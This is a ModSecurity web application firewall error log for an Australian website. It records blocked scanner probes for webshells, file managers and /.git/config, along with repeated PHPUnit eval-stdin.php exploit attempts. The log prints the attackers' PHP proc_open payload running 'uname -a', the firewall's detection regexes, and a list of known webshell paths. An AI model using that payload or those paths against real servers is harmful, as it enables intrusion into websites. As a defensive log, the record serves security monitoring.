[Fri Dec 26 01:37:24.408906 2025] [:error] [pid 24862:tid 24890] [client 4.194.153.244:2682] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU12VLt-eeEEuo-2JKg2kAAAABg"]
[Fri Dec 26 01:37:24.582827 2025] [:error] [pid 24862:tid 24866] [client 4.194.153.244:2710] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU12VLt-eeEEuo-2JKg2kwAAAAA"]
[Fri Dec 26 01:37:24.777967 2025] [:error] [pid 24862:tid 24871] [client 4.194.153.244:2675] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU12VLt-eeEEuo-2JKg2lwAAAAU"]
[Fri Dec 26 01:37:24.978641 2025] [:error] [pid 24862:tid 24883] [client 4.194.153.244:2873] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU12VLt-eeEEuo-2JKg2mgAAABE"]
[Fri Dec 26 01:37:25.160480 2025] [:error] [pid 24862:tid 24875] [client 4.194.153.244:2695] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU12Vbt-eeEEuo-2JKg2nAAAAAk"]
[Fri Dec 26 01:37:25.382582 2025] [:error] [pid 24862:tid 24872] [client 4.194.153.244:2641] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aU12Vbt-eeEEuo-2JKg2oAAAAAY"]
[Fri Dec 26 01:37:25.588364 2025] [:error] [pid 24862:tid 24876] [client 4.194.153.244:2766] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aU12Vbt-eeEEuo-2JKg2ogAAAAo"]
[Fri Dec 26 01:37:25.870320 2025] [:error] [pid 24863:tid 24905] [client 4.194.153.244:2632] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aU12VR8SaH2KMpp43vfzCwAAAMw"]
[Fri Dec 26 01:37:26.087624 2025] [:error] [pid 24946:tid 24962] [client 4.194.153.244:2755] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aU12VlfyLYxv3Jn9S71Q6QAAAE4"]
[Fri Dec 26 05:19:04.824393 2025] [:error] [pid 28270:tid 28347] [client 43.156.202.34:39496] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aU2qSF9Ac79_ckdPN5I-tAAAAJI"]
[Fri Dec 26 07:24:37.335084 2025] [:error] [pid 28270:tid 28345] [client 216.81.245.140:40646] [client 216.81.245.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aU3HtV9Ac79_ckdPN5JehQAAAJA"]
[Fri Dec 26 10:54:48.730250 2025] [:error] [pid 28269:tid 28321] [client 182.44.2.148:55161] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aU34-J3ZK8bJ-c9-kjOb1AAAAFM"]
[Fri Dec 26 14:37:03.834512 2025] [:error] [pid 15063:tid 15068] [client 203.159.81.17:25585] [client 203.159.81.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aU4tD-Dsf_aL46Jy7z-drgAAAQM"]
[Fri Dec 26 14:37:06.512940 2025] [:error] [pid 28355:tid 28366] [client 203.159.81.50:23319] [client 203.159.81.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aU4tErsFqKXf7ADZcTa5ogAAAMk"]
[Fri Dec 26 14:37:10.508667 2025] [:error] [pid 34865:tid 34879] [client 203.159.81.37:43525] [client 203.159.81.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aU4tFqi4zjVVKBdvuTSHRgAAAUw"]
[Fri Dec 26 14:37:12.901957 2025] [:error] [pid 28269:tid 28318] [client 203.159.81.3:42781] [client 203.159.81.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aU4tGJ3ZK8bJ-c9-kjPpCQAAAFA"]
[Fri Dec 26 14:37:16.671997 2025] [:error] [pid 28355:tid 28371] [client 203.159.81.35:38867] [client 203.159.81.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aU4tHLsFqKXf7ADZcTa59wAAAM4"]
[Fri Dec 26 14:37:19.250369 2025] [:error] [pid 28268:tid 28284] [client 203.159.81.44:40993] [client 203.159.81.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aU4tH3c_KuO_55-uPTRUyQAAAAk"]
[Fri Dec 26 14:37:20.145509 2025] [:error] [pid 28269:tid 28312] [client 203.159.81.48:21079] [client 203.159.81.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aU4tIJ3ZK8bJ-c9-kjPpawAAAEo"]
[Fri Dec 26 14:37:21.084199 2025] [:error] [pid 28270:tid 28343] [client 203.159.81.14:63579] [client 203.159.81.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aU4tIV9Ac79_ckdPN5L5BAAAAI4"]
[Fri Dec 26 14:37:22.082997 2025] [:error] [pid 34865:tid 34869] [client 203.159.81.34:47245] [client 203.159.81.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aU4tIqi4zjVVKBdvuTSH4gAAAUI"]
[Fri Dec 26 14:37:22.955745 2025] [:error] [pid 34865:tid 34868] [client 203.159.81.47:20321] [client 203.159.81.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aU4tIqi4zjVVKBdvuTSH6gAAAUE"]
[Fri Dec 26 14:37:24.817256 2025] [:error] [pid 28269:tid 28305] [client 203.159.81.41:35699] [client 203.159.81.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aU4tJJ3ZK8bJ-c9-kjPppgAAAEM"]
[Fri Dec 26 14:37:27.276459 2025] [:error] [pid 28268:tid 28279] [client 203.159.81.35:64247] [client 203.159.81.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aU4tJ3c_KuO_55-uPTRVLgAAAAQ"]
[Fri Dec 26 14:37:29.312010 2025] [:error] [pid 28355:tid 28376] [client 203.159.81.46:40945] [client 203.159.81.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aU4tKbsFqKXf7ADZcTa6eQAAANM"]
[Fri Dec 26 14:37:30.780394 2025] [:error] [pid 28355:tid 28367] [client 203.159.81.52:25843] [client 203.159.81.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aU4tKrsFqKXf7ADZcTa6hwAAAMo"]
[Fri Dec 26 14:37:32.186942 2025] [:error] [pid 28269:tid 28313] [client 203.159.81.41:48607] [client 203.159.81.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aU4tLJ3ZK8bJ-c9-kjPqGAAAAEs"]
[Fri Dec 26 14:37:36.852453 2025] [:error] [pid 28270:tid 28341] [client 203.159.81.14:52171] [client 203.159.81.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aU4tMF9Ac79_ckdPN5L5wQAAAIw"]
[Fri Dec 26 14:37:38.168652 2025] [:error] [pid 34865:tid 34870] [client 203.159.81.1:26157] [client 203.159.81.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aU4tMqi4zjVVKBdvuTSJCQAAAUM"]
[Fri Dec 26 14:37:40.024035 2025] [:error] [pid 28270:tid 28333] [client 203.159.81.39:52009] [client 203.159.81.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aU4tNF9Ac79_ckdPN5L58gAAAIQ"]
[Fri Dec 26 14:37:41.483476 2025] [:error] [pid 28355:tid 28371] [client 203.159.81.28:62699] [client 203.159.81.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aU4tNbsFqKXf7ADZcTa63wAAAM4"]
[Fri Dec 26 14:37:45.298896 2025] [:error] [pid 28270:tid 28337] [client 203.159.81.22:41643] [client 203.159.81.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aU4tOV9Ac79_ckdPN5L6OQAAAIg"]
[Fri Dec 26 14:37:47.760911 2025] [:error] [pid 28269:tid 28312] [client 203.159.81.13:50203] [client 203.159.81.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aU4tO53ZK8bJ-c9-kjPrGQAAAEo"]
[Fri Dec 26 14:37:49.117723 2025] [:error] [pid 28355:tid 28376] [client 203.159.81.44:39581] [client 203.159.81.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aU4tPbsFqKXf7ADZcTa7HQAAANM"]
[Fri Dec 26 14:37:50.076025 2025] [:error] [pid 15063:tid 15070] [client 203.159.81.25:53999] [client 203.159.81.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aU4tPuDsf_aL46Jy7z-hIQAAAQU"]
[Fri Dec 26 14:37:51.254443 2025] [:error] [pid 34865:tid 34886] [client 203.159.81.41:63401] [client 203.159.81.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aU4tP6i4zjVVKBdvuTSKHQAAAVM"]
[Fri Dec 26 14:37:53.707172 2025] [:error] [pid 28270:tid 28342] [client 203.159.81.20:26415] [client 203.159.81.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aU4tQV9Ac79_ckdPN5L6jQAAAI0"]
[Fri Dec 26 20:01:13.544896 2025] [:error] [pid 34865:tid 34873] [client 106.219.178.193:8686] [client 106.219.178.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.178.193, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aU55Cai4zjVVKBdvuTTk5wAAAUY"]
[Sat Dec 27 02:04:04.698659 2025] [:error] [pid 34274:tid 34295] [client 103.186.31.45:53694] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aU7OFM6fabpS0mfhiCEUmAAAANM"]
[Sat Dec 27 02:04:05.879378 2025] [:error] [pid 34274:tid 34286] [client 103.186.31.45:53736] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aU7OFc6fabpS0mfhiCEUmgAAAMo"]
[Sat Dec 27 02:04:07.332776 2025] [:error] [pid 47566:tid 47584] [client 103.186.31.45:53794] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aU7OF6yYgLfR4YwO7byIywAAAQ8"]
[Sat Dec 27 02:04:08.703858 2025] [:error] [pid 34189:tid 34254] [client 103.186.31.45:53848] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aU7OGAnn007DnMwSsfcv0gAAAIc"]
[Sat Dec 27 02:04:09.842940 2025] [:error] [pid 34188:tid 34223] [client 103.186.31.45:53939] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aU7OGQ54j0mXgip5BAGxhgAAAEM"]
[Sat Dec 27 02:04:11.041597 2025] [:error] [pid 47566:tid 47578] [client 103.186.31.45:54024] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag 